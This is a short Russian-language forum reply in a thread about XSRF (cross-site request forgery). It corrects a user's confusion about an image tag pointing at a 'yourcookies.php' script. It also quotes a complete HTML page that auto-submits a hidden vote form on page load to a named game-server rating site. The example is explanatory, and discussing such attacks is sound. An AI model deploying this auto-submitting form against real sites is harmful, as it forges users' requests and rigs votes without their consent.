oRb
Сообщений: 4044
Оценки: 597
Присоединился: 28.03.2007
|
quote:
паясните мне короче типа на странице есть картинка
<img src="http://myxak.com/yourcookies.php" >
то тогд выполниться мой сценарий http://myxak.com/yourcookies.php а?
выполниться пхп код, но это совсем не XSRF.
quote:
ЛЮБОЙ ПРИМЕР (от себя)
сайт forgamers .ru (мониторинг серверов)
HTML код для автоматического голосования:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Untitled Document</title>
</head>
<body onload="document.forms['rating'].submit();">
<form action="http://www.forgamers.ru/ajax/rate.php" method="post" name="rating">
<input name="id" type="hidden" value="ID_СЕРВЕРА" /></form>
</body>
</html>
|
Версия для печати
Статья про XSRF - 
RE: Статья про XSRF -